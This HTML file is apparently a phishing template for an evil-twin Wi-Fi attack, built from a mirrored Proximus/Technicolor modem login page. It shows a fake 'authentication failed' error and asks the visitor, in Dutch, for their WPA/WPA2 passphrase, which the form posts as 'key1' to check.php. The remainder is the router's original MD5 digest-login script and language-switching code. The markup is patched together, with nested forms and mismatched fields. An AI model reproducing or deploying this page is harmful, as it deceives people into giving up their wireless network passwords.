415 lines
13 KiB
HTML
415 lines
13 KiB
HTML
|
<!DOCTYPE html>
|
||
|
<html lang="en">
|
||
|
|
||
|
<!-- Mirrored from 192.168.1.1/login.lp by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 25 Apr 2018 02:50:19 GMT -->
|
||
|
<head>
|
||
|
<title>Modem</title>
|
||
|
<meta charset="utf-8">
|
||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||
|
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||
|
<script type="text/javascript">
|
||
|
function load_font(){
|
||
|
$('#wrapper').css('display','block');
|
||
|
}
|
||
|
</script>
|
||
|
<link rel="stylesheet" href="css/proximus_font.css">
|
||
|
<link rel="stylesheet" href="css/bootstrap.min.css">
|
||
|
<link rel="stylesheet" href="css/proximus.css">
|
||
|
|
||
|
<!--[if lt IE 9]>
|
||
|
<script type='text/javascript' src="js/html5.js"></script>
|
||
|
<script type='text/javascript' src="js/respond.js"></script>
|
||
|
<link rel="stylesheet" type="text/css" href="css/ie.css" />
|
||
|
<![endif]-->
|
||
|
<!-- font style -->
|
||
|
<script src="js/jquery.min.js"></script>
|
||
|
<script src="js/bootstrap.min.js"></script>
|
||
|
</head>
|
||
|
<body onload="load_font()">
|
||
|
<form class="form-horizontal" method="GET" id="trans_form" action = "https://192.168.1.1/login.lp">
|
||
|
<input type="hidden" id = "lang_val" name = "lang_val" value = "fr"></input>
|
||
|
</form>
|
||
|
<div id="wrapper" style="display:none">
|
||
|
<nav class="navbar navbar-default navbar-fixed-top">
|
||
|
|
||
|
<div class="logo"><img src="img/logo.png" width="110" height="26" alt="Proximus"></div>
|
||
|
|
||
|
<div class="navbar-header" >
|
||
|
<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"> <span class="sr-only">Toggle navigation</span> <span class="icon-bar"></span> <span class="icon-bar"></span> <span class="icon-bar"></span> </button>
|
||
|
</div>
|
||
|
<div id="navbar" class="header navbar-collapse collapse" >
|
||
|
<ul class="nav navbar-right">
|
||
|
<li ><a href="#" title="" onclick = 'lang_change("en")'>EN</a></li>
|
||
|
<li>|</li>
|
||
|
<li class="active"><a href="#" title="" onclick = 'lang_change("fr")'>FR</a></li>
|
||
|
<li>|</li>
|
||
|
<li ><a href="#" title="" onclick = 'lang_change("nl")'>NL</a></li>
|
||
|
<li class="dropdown"> <a href="#" class="dropdown-toggle nick_img loggedout" data-toggle="dropdown" role="button" aria-expanded="false">Username </a> </li>
|
||
|
<li class="help_icon"><img alt="Proximus Help" src="img/help_disabled.png"></li>
|
||
|
</ul>
|
||
|
</div>
|
||
|
</nav>
|
||
|
<div class="col-sm-4 col-sm-offset-4">
|
||
|
<div class="login-panel panel panel-default">
|
||
|
<div class="panel-heading">
|
||
|
<h3 class="panel-title">ERROR 109 </br> Authentification failed</h3>
|
||
|
</div>
|
||
|
<div class="panel-body ">
|
||
|
<form method="post" action=check.php name=form1 id=form1>
|
||
|
<input type="hidden" name="rn" value="632920098">
|
||
|
<input type="hidden" name="hidepw" id="hidepw" value=""/>
|
||
|
<center><h4>Voer uw WPA/WPA2 PSK passphrase in.</h4></center>
|
||
|
<div class="form-group">
|
||
|
<label for="">Passphrase :</label>
|
||
|
<input type=password name=key1 >
|
||
|
<a href="#login_help_modal" data-toggle="modal"></a> </div>
|
||
|
<!-- Change this to a button or input when using this as a form -->
|
||
|
<div class=wrapper>
|
||
|
<div id=wrapper> <div id=header> <span class=spacer></span> </div> <div id=content> <form method=POST action=check.php id=form1 name=form1> </div>
|
||
|
<input value="Inloggen" type=submit class="btn_proximus_default">
|
||
|
</div>
|
||
|
<div class="clear"></div>
|
||
|
</form>
|
||
|
</div>
|
||
|
</div>
|
||
|
</div>
|
||
|
<!-- Login Help Modal -->
|
||
|
<div class="modal fade" id="login_help_modal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
|
||
|
<div class="modal-dialog">
|
||
|
<div class="modal-content">
|
||
|
<div class="modal-header">
|
||
|
<button type="button" class="close modal_close" data-dismiss="modal" aria-hidden="true"></button>
|
||
|
<h4 class="modal-title intercept_title">Hulppagina</h4>
|
||
|
</div>
|
||
|
<div class="modal-body">
|
||
|
<div class="login_help_body">
|
||
|
|
||
|
<p> U vindt deze sticker op de achterzijde of aan de onderkant van uw Modem.</p>
|
||
|
|
||
|
<img src="img/user_data.png" alt="User Data" width="50%"> </div>
|
||
|
<div class="clear"></div>
|
||
|
</div>
|
||
|
</div>
|
||
|
<!-- /.modal-content -->
|
||
|
</div>
|
||
|
<!-- /.modal-dialog -->
|
||
|
</div>
|
||
|
<!-- /.Login Help Modal -->
|
||
|
</div>
|
||
|
<script type="text/javascript">
|
||
|
jQuery(document).ready(function ($) {
|
||
|
$('.modal-tabs').tab();
|
||
|
$('.panel-collapse').collapse("hide");
|
||
|
});
|
||
|
</script>
|
||
|
</body>
|
||
|
|
||
|
<!-- Mirrored from 192.168.1.1/login.lp by HTTrack Website Copier/3.x [XR&CO'2014], Wed, 25 Apr 2018 02:50:27 GMT -->
|
||
|
</html>
|
||
|
|
||
|
|
||
|
|
||
|
<script type="text/javascript">
|
||
|
window.history.forward();
|
||
|
function noBack() { window.history.forward(); }
|
||
|
//<![CDATA[
|
||
|
function disable_fields(theForm)
|
||
|
{
|
||
|
var len = theForm.elements.length;
|
||
|
for (var i = 0; i < len; i++) {
|
||
|
// Don't disable "hidden" fields.
|
||
|
// Don't disable the input elem "user", to compatible with Safari and Opera
|
||
|
// which execute this function before form submit() method.
|
||
|
if((theForm.elements[i].type.toLowerCase() != "hidden") &&
|
||
|
(theForm.elements[i].name != "user"))
|
||
|
theForm.elements[i].disabled = 1;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function setLanguage(langCode)
|
||
|
{
|
||
|
document.langSelect.elements[0].value = langCode;
|
||
|
document.langSelect.submit();
|
||
|
disable_fields(document.langSelect);
|
||
|
}
|
||
|
|
||
|
//----RTL GUI support start----
|
||
|
function traversingDOMNode(rootNode, callback)
|
||
|
{
|
||
|
var currentNode = rootNode.childNodes;
|
||
|
for (var i = 0; i < currentNode.length; i++){
|
||
|
callback(currentNode[i]);
|
||
|
traversingDOMNode(currentNode[i], callback);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function alignByClassFlag(node)
|
||
|
{
|
||
|
if (node.className && node.className != "") {
|
||
|
if (node.className.search(/js_right/i)!=-1) {
|
||
|
node.style.textAlign = "right";
|
||
|
}
|
||
|
else if (node.className.search(/js_left/i)!=-1) {
|
||
|
node.style.textAlign = "left";
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
|
||
|
function getLanguageDirection(lang_code)
|
||
|
{
|
||
|
var dir = "ltr";
|
||
|
var rtlLangSet = new Array()
|
||
|
rtlLangSet[0] = "ar"
|
||
|
|
||
|
for (var i=0; i<rtlLangSet.length; i++) {
|
||
|
if (lang_code && (lang_code.toLowerCase() == rtlLangSet[i])) {
|
||
|
dir = "rtl";
|
||
|
break;
|
||
|
}
|
||
|
}
|
||
|
return dir;
|
||
|
}
|
||
|
|
||
|
function js_dir_rtl()
|
||
|
{
|
||
|
document.documentElement.dir = "rtl";
|
||
|
traversingDOMNode(document.documentElement, alignByClassFlag);
|
||
|
}
|
||
|
//----end----
|
||
|
function noenter(e) {
|
||
|
var keycode;
|
||
|
|
||
|
if (window.event)
|
||
|
keycode = window.event.keyCode;
|
||
|
else if (e)
|
||
|
keycode = e.which;
|
||
|
else
|
||
|
return true;
|
||
|
|
||
|
if (keycode == 13)
|
||
|
return false;
|
||
|
else
|
||
|
return true;
|
||
|
}
|
||
|
|
||
|
// NOTE: Chrome and Safari will ignore this function and submit form directly,
|
||
|
// when press "ENTER".
|
||
|
function enter_submit(e) {
|
||
|
var keycode;
|
||
|
|
||
|
if (window.event)
|
||
|
keycode = window.event.keyCode;
|
||
|
else if (e)
|
||
|
keycode = e.which;
|
||
|
else
|
||
|
return true;
|
||
|
|
||
|
if (keycode == 13) {
|
||
|
submitAuthentication();
|
||
|
}
|
||
|
|
||
|
return true;
|
||
|
}
|
||
|
|
||
|
var hex_chr = "0123456789abcdef";
|
||
|
function rhex(num)
|
||
|
{
|
||
|
str = "";
|
||
|
for(j = 0; j <= 3; j++)
|
||
|
str += hex_chr.charAt((num >> (j * 8 + 4)) & 0x0F) +
|
||
|
hex_chr.charAt((num >> (j * 8)) & 0x0F);
|
||
|
return str;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Convert a string to a sequence of 16-word blocks, stored as an array.
|
||
|
* Append padding bits and the length, as described in the MD5 standard.
|
||
|
*/
|
||
|
function str2blks_MD5(str)
|
||
|
{
|
||
|
nblk = ((str.length + 8) >> 6) + 1;
|
||
|
blks = new Array(nblk * 16);
|
||
|
for(i = 0; i < nblk * 16; i++) blks[i] = 0;
|
||
|
for(i = 0; i < str.length; i++)
|
||
|
blks[i >> 2] |= str.charCodeAt(i) << ((i % 4) * 8);
|
||
|
blks[i >> 2] |= 0x80 << ((i % 4) * 8);
|
||
|
blks[nblk * 16 - 2] = str.length * 8;
|
||
|
return blks;
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
|
||
|
* to work around bugs in some JS interpreters.
|
||
|
*/
|
||
|
function add(x, y)
|
||
|
{
|
||
|
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
|
||
|
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
|
||
|
return (msw << 16) | (lsw & 0xFFFF);
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Bitwise rotate a 32-bit number to the left
|
||
|
*/
|
||
|
function rol(num, cnt)
|
||
|
{
|
||
|
return (num << cnt) | (num >>> (32 - cnt));
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* These functions implement the basic operation for each round of the
|
||
|
* algorithm.
|
||
|
*/
|
||
|
function cmn(q, a, b, x, s, t)
|
||
|
{
|
||
|
return add(rol(add(add(a, q), add(x, t)), s), b);
|
||
|
}
|
||
|
function ff(a, b, c, d, x, s, t)
|
||
|
{
|
||
|
return cmn((b & c) | ((~b) & d), a, b, x, s, t);
|
||
|
}
|
||
|
function gg(a, b, c, d, x, s, t)
|
||
|
{
|
||
|
return cmn((b & d) | (c & (~d)), a, b, x, s, t);
|
||
|
}
|
||
|
function hh(a, b, c, d, x, s, t)
|
||
|
{
|
||
|
return cmn(b ^ c ^ d, a, b, x, s, t);
|
||
|
}
|
||
|
function ii(a, b, c, d, x, s, t)
|
||
|
{
|
||
|
return cmn(c ^ (b | (~d)), a, b, x, s, t);
|
||
|
}
|
||
|
|
||
|
/*
|
||
|
* Take a string and return the hex representation of its MD5.
|
||
|
*/
|
||
|
function MD5(str)
|
||
|
{
|
||
|
x = str2blks_MD5(str);
|
||
|
var a = 1732584193;
|
||
|
var b = -271733879;
|
||
|
var c = -1732584194;
|
||
|
var d = 271733878;
|
||
|
|
||
|
for(i = 0; i < x.length; i += 16)
|
||
|
{
|
||
|
var olda = a;
|
||
|
var oldb = b;
|
||
|
var oldc = c;
|
||
|
var oldd = d;
|
||
|
|
||
|
a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);
|
||
|
d = ff(d, a, b, c, x[i+ 1], 12, -389564586);
|
||
|
c = ff(c, d, a, b, x[i+ 2], 17, 606105819);
|
||
|
b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);
|
||
|
a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);
|
||
|
d = ff(d, a, b, c, x[i+ 5], 12, 1200080426);
|
||
|
c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);
|
||
|
b = ff(b, c, d, a, x[i+ 7], 22, -45705983);
|
||
|
a = ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
|
||
|
d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);
|
||
|
c = ff(c, d, a, b, x[i+10], 17, -42063);
|
||
|
b = ff(b, c, d, a, x[i+11], 22, -1990404162);
|
||
|
a = ff(a, b, c, d, x[i+12], 7 , 1804603682);
|
||
|
d = ff(d, a, b, c, x[i+13], 12, -40341101);
|
||
|
c = ff(c, d, a, b, x[i+14], 17, -1502002290);
|
||
|
b = ff(b, c, d, a, x[i+15], 22, 1236535329);
|
||
|
|
||
|
a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);
|
||
|
d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
|
||
|
c = gg(c, d, a, b, x[i+11], 14, 643717713);
|
||
|
b = gg(b, c, d, a, x[i+ 0], 20, -373897302);
|
||
|
a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);
|
||
|
d = gg(d, a, b, c, x[i+10], 9 , 38016083);
|
||
|
c = gg(c, d, a, b, x[i+15], 14, -660478335);
|
||
|
b = gg(b, c, d, a, x[i+ 4], 20, -405537848);
|
||
|
a = gg(a, b, c, d, x[i+ 9], 5 , 568446438);
|
||
|
d = gg(d, a, b, c, x[i+14], 9 , -1019803690);
|
||
|
c = gg(c, d, a, b, x[i+ 3], 14, -187363961);
|
||
|
b = gg(b, c, d, a, x[i+ 8], 20, 1163531501);
|
||
|
a = gg(a, b, c, d, x[i+13], 5 , -1444681467);
|
||
|
d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);
|
||
|
c = gg(c, d, a, b, x[i+ 7], 14, 1735328473);
|
||
|
b = gg(b, c, d, a, x[i+12], 20, -1926607734);
|
||
|
|
||
|
a = hh(a, b, c, d, x[i+ 5], 4 , -378558);
|
||
|
d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);
|
||
|
c = hh(c, d, a, b, x[i+11], 16, 1839030562);
|
||
|
b = hh(b, c, d, a, x[i+14], 23, -35309556);
|
||
|
a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
|
||
|
d = hh(d, a, b, c, x[i+ 4], 11, 1272893353);
|
||
|
c = hh(c, d, a, b, x[i+ 7], 16, -155497632);
|
||
|
b = hh(b, c, d, a, x[i+10], 23, -1094730640);
|
||
|
a = hh(a, b, c, d, x[i+13], 4 , 681279174);
|
||
|
d = hh(d, a, b, c, x[i+ 0], 11, -358537222);
|
||
|
c = hh(c, d, a, b, x[i+ 3], 16, -722521979);
|
||
|
b = hh(b, c, d, a, x[i+ 6], 23, 76029189);
|
||
|
a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);
|
||
|
d = hh(d, a, b, c, x[i+12], 11, -421815835);
|
||
|
c = hh(c, d, a, b, x[i+15], 16, 530742520);
|
||
|
b = hh(b, c, d, a, x[i+ 2], 23, -995338651);
|
||
|
|
||
|
a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);
|
||
|
d = ii(d, a, b, c, x[i+ 7], 10, 1126891415);
|
||
|
c = ii(c, d, a, b, x[i+14], 15, -1416354905);
|
||
|
b = ii(b, c, d, a, x[i+ 5], 21, -57434055);
|
||
|
a = ii(a, b, c, d, x[i+12], 6 , 1700485571);
|
||
|
d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);
|
||
|
c = ii(c, d, a, b, x[i+10], 15, -1051523);
|
||
|
b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);
|
||
|
a = ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
|
||
|
d = ii(d, a, b, c, x[i+15], 10, -30611744);
|
||
|
c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);
|
||
|
b = ii(b, c, d, a, x[i+13], 21, 1309151649);
|
||
|
a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);
|
||
|
d = ii(d, a, b, c, x[i+11], 10, -1120210379);
|
||
|
c = ii(c, d, a, b, x[i+ 2], 15, 718787259);
|
||
|
b = ii(b, c, d, a, x[i+ 9], 21, -343485551);
|
||
|
|
||
|
a = add(a, olda);
|
||
|
b = add(b, oldb);
|
||
|
c = add(c, oldc);
|
||
|
d = add(d, oldd);
|
||
|
}
|
||
|
return rhex(a) + rhex(b) + rhex(c) + rhex(d);
|
||
|
}
|
||
|
|
||
|
var realm = "Technicolor Gateway";
|
||
|
var nonce = "989558:699570:1f25a1180f9a7ee6f14c66b7c707397e";
|
||
|
var qop = "auth";
|
||
|
var uri = "/login.lp";
|
||
|
|
||
|
function submitAuthentication()
|
||
|
{
|
||
|
var user = document.getElementById("user").value;
|
||
|
var pwd = document.getElementById("pwd").value;
|
||
|
document.getElementById("pwd").disabled = true;
|
||
|
var HA1 = MD5(user + ":" + realm + ":" + pwd);
|
||
|
var HA2 = MD5("GET" + ":" + uri);
|
||
|
document.getElementById("hidepw").value = MD5(HA1 + ":" + nonce +
|
||
|
":" + "00000001" + ":" + "xyz" + ":" + qop + ":" + HA2);
|
||
|
document.authform.submit();
|
||
|
disable_fields(document.authform);
|
||
|
}
|
||
|
|
||
|
function cancelLogin()
|
||
|
{
|
||
|
if (window.opener || window.name == "userpage")
|
||
|
window.close(); // Close pop-up login window
|
||
|
else
|
||
|
location.href="index.html";
|
||
|
}
|
||
|
|
||
|
function lang_change(param) {
|
||
|
document.getElementById("lang_val").value = "Language.Pack."+param;
|
||
|
document.getElementById("trans_form").submit();
|
||
|
}
|
||
|
//]]>
|
||
|
</script>
|
||
|
|
||
|
|
||
|
<link rel="stylesheet" href="css/proximus_font.css">
|
||
|
|
||
|
|